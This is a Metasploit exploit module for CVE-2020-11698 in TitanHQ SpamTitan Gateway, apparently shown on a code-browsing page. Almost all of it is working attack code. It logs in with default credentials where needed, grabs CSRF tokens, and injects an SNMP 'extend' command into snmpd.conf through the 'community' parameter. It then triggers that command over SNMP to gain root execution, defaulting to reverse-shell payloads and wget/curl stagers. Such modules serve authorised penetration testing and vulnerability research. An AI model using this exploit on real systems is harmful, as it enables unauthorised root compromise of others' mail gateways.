Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/freebsd/webapp/spamtitan_unauth_rce.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::SNMPClient10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'SpamTitan Unauthenticated RCE',18'Description' => %q{19TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against20unwanted emails and malwares. This module exploits an improper input21sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives22into the SNMP configuration file and get remote code execution as root. Note23that only version 7.03 needs authentication and no authentication is required24for versions 7.01, 7.02 and 7.07.2526First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`27command directives (`extend` + command) passed to the `community` parameter.28This payload is then added to `snmpd.conf` by the application. Finally, the29module triggers the execution of this command by querying the SNMP server for30the correct OID.3132This exploit module has been successfully tested against versions 7.01, 7.02,337.03, and 7.07.34},35'License' => MSF_LICENSE,36'Author' => [37'Christophe De La Fuente', # MSF module38'Felipe Molina' # original PoC39],40'References' => [41[ 'EDB', '48856' ],42[ 'URL', 'https://www.titanhq.com/spamtitan/spamtitangateway/'],43[ 'CVE', '2020-11698']44],45'CmdStagerFlavor' => %i[fetch wget curl],46'Payload' => {47'DisableNops' => true48},49'Targets' => [50[51'Unix In-Memory',52{53'Platform' => 'unix',54'Arch' => ARCH_CMD,55'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },56'Payload' => {57'BadChars' => "\\'#",58'Encoder' => 'cmd/perl',59'PrependEncoder' => '/bin/tcsh -c \'',60'AppendEncoder' => '\'#',61'Space' => 47062},63'Type' => :unix_memory64}65],66[67'FreeBSD Dropper (x64)',68{69'Platform' => 'bsd',70'Arch' => [ARCH_X64],71'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },72'Payload' => {73'BadChars' => "'#",74'Space' => 45075},76'Type' => :bsd_dropper77}78],79[80'FreeBSD Dropper (x86)',81{82'Platform' => 'bsd',83'Arch' => [ARCH_X86],84'DefaultOptions' => { 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp' },85'Payload' => {86'BadChars' => "'#",87'Space' => 45088},89'Type' => :bsd_dropper90}91]92],93'DisclosureDate' => '2020-04-17',94'DefaultTarget' => 0,95'Notes' => {96'Stability' => [CRASH_SAFE],97'Reliability' => [REPEATABLE_SESSION],98'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]99}100)101)102register_options(103[104Opt::RPORT(80, true, 'The target HTTP port'),105OptPort.new('SNMPPORT', [ true, 'The target SNMP port (UDP)', 161 ]),106OptString.new('TARGETURI', [ true, 'The base path to SpamTitan', '/' ]),107OptString.new(108'USERNAME',109[110false,111'Username to authenticate, if required (depending on SpamTitan Gateway version)',112'admin'113]114),115OptString.new(116'PASSWORD',117[118false,119'Password to authenticate, if required (depending on SpamTitan Gateway version)',120'hiadmin'121]122),123OptString.new(124'COMMUNITY',125[126false,127'The SNMP Community String to use (random string by default)',128Rex::Text.rand_text_alpha(8)129]130),131OptString.new(132'ALLOWEDIP',133[134false,135'The IP address that will be allowed to query the injected `extend` '\136'command. This IP will be added to the SNMP configuration file on the '\137'target. This is tipically this host IP address, but can be different if '\138'your are in a NAT\'ed network. If not set, `LHOST` will be used '\139'instead. If `LHOST` is not set, it will default to `127.0.0.1`.'140]141),142], self.class143)144end145146def check147snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')148vprint_status("Check if #{snmp_x_uri} exists")149res = send_request_cgi(150'uri' => snmp_x_uri,151'method' => 'GET'152)153154if res.nil?155return Exploit::CheckCode::Unknown.new(156"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - no response"157)158end159160if res.code == 302161vprint_status(162'This version of SpamTitan requires authentication. Trying with the '\163'provided credentials.'164)165res = send_request_cgi(166'uri' => '/index.php',167'method' => 'POST',168'vars_post' => {169'jaction' => 'none',170'language' => 'en_US',171'address' => datastore['USERNAME'],172'passwd' => datastore['PASSWORD']173}174)175if res.nil?176return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')177end178179if res.code == 200 && res.body =~ /Invalid username or password/180return Exploit::CheckCode::Safe.new(181'Unable to authenticate - Invalid username or password'182)183end184unless res.code == 302185return Exploit::CheckCode::Unknown.new(186"Unable to authenticate - Unexpected HTTP response code: #{res.code}"187)188end189190# For whatever reason, the web application sometimes returns multiple191# PHPSESSID cookies and only the last one is valid. So, make sure only192# the valid one is part of the cookie_jar.193cookies = res.get_cookies.split(' ')194php_session = cookies.select { |cookie| cookie.starts_with?('PHPSESSID=') }.last195cookie_jar.clear196cookie_jar.add(php_session)197remaining_cookies = cookies.delete_if { |cookie| cookie.starts_with?('PHPSESSID=') }198cookie_jar.merge(remaining_cookies)199200res = send_request_cgi(201'uri' => snmp_x_uri,202'method' => 'GET'203)204end205206unless res.code == 200207return Exploit::CheckCode::Safe.new(208"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - "\209"unexpected HTTP response code: #{res.code}"210)211end212213Exploit::CheckCode::Appears214rescue ::Rex::ConnectionError => e215vprint_error("Connection error: #{e}")216return Exploit::CheckCode::Unknown.new(217"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri})"218)219end220221def exploit222if target['Type'] == :unix_memory223execute_command(payload.encoded)224else225execute_cmdstager(linemax: payload_info['Space'].to_i, noconcat: true)226end227rescue ::Rex::ConnectionError228fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")229end230231def inject_payload(community)232snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')233print_status("Send a request to #{snmp_x_uri} and inject the payload")234235post_params = {236'jaction' => 'saveAll',237'contact' => 'CONTACT',238'name' => 'SpamTitan',239'location' => 'LOCATION',240'community' => community241}242243# First, grab the CSRF token, if any (depending on the version)244res = send_request_cgi(245'uri' => '/snmp.php',246'method' => 'GET'247)248if res.code == 200249doc = ::Nokogiri::HTML(res.body)250csrf_name = doc.xpath('//input[@name=\'CSRFName\']/attribute::value').first&.value251csrf_token = doc.xpath('//input[@name=\'CSRFToken\']/attribute::value').first&.value252if csrf_name && csrf_token253print_status('CSRF token found')254post_params['CSRFName'] = csrf_name255post_params['CSRFToken'] = csrf_token256end257end258259res = send_request_cgi(260'uri' => snmp_x_uri,261'method' => 'POST',262'vars_post' => post_params263)264if res.nil?265fail_with(Failure::Unreachable,266"#{peer} - Unable to inject the payload - no response")267end268unless res.code == 200269fail_with(Failure::UnexpectedReply,270"#{peer} - Unable to inject the payload - unexpected HTTP response "\271"code: #{res.code}")272end273begin274json_res = JSON.parse(res.body)['success']275rescue JSON::ParserError276json_res = nil277end278unless json_res279fail_with(Failure::UnexpectedReply,280"#{peer} - Unable to inject the payload - Unknown error: #{res.body}")281end282end283284def trigger_payload(name)285print_status('Send an SNMP Get-Request to trigger the payload')286287# RPORT needs to be specified since the default value is set to the web288# service port.289connect_snmp(true, 'RPORT' => datastore['SNMPPORT'])290begin291res = snmp.get("1.3.6.1.4.1.8072.1.3.2.3.1.1.8.#{name.bytes.join('.')}")292msg = "SNMP Get-Request response (status=#{res.error_status}): "\293"#{res.each_varbind.map(&:value).join('|')}"294if res.error_status == :noError295vprint_good(msg)296else297vprint_error(msg)298end299rescue SNMP::RequestTimeout, IOError300# not always expecting a response here, so timeout is likely to happen301end302end303304def execute_command(cmd, _opts = {})305if target['Type'] == :bsd_dropper306# 'tcsh' is the default shell on FreeBSD307# Also, make sure it runs in background (&) to avoid blocking308cmd = "/bin/tcsh -c '#{[cmd.gsub('\'', '\\\\\'').gsub('\\', '\\\\\\')].shelljoin}&'#"309end310name = Rex::Text.rand_text_alpha(8)311ip = datastore['ALLOWEDIP'] || datastore['LHOST'] || '127.0.0.1'312if ip == '127.0.0.1'313print_warning(314'Neither ALLOWEDIP and LHOST has been set and 127.0.0.1 will be used'\315'instead. It will probably fail to trigger the payload.'316)317end318319# The injected payload consists of two lines:320# 1. the community string and the IP address allowed to query this321# community string322# 2. the `extend` keyword, the name token used to trigger the payload323# and the actual command to execute324community = "#{datastore['COMMUNITY']}\" #{ip}\nextend #{name} #{cmd}"325inject_payload(community)326327# The previous HTTP POST request made the application restart the SNMPD328# service. So, wait a bit to make sure it is running.329sleep(2)330331trigger_payload(name)332end333end334335336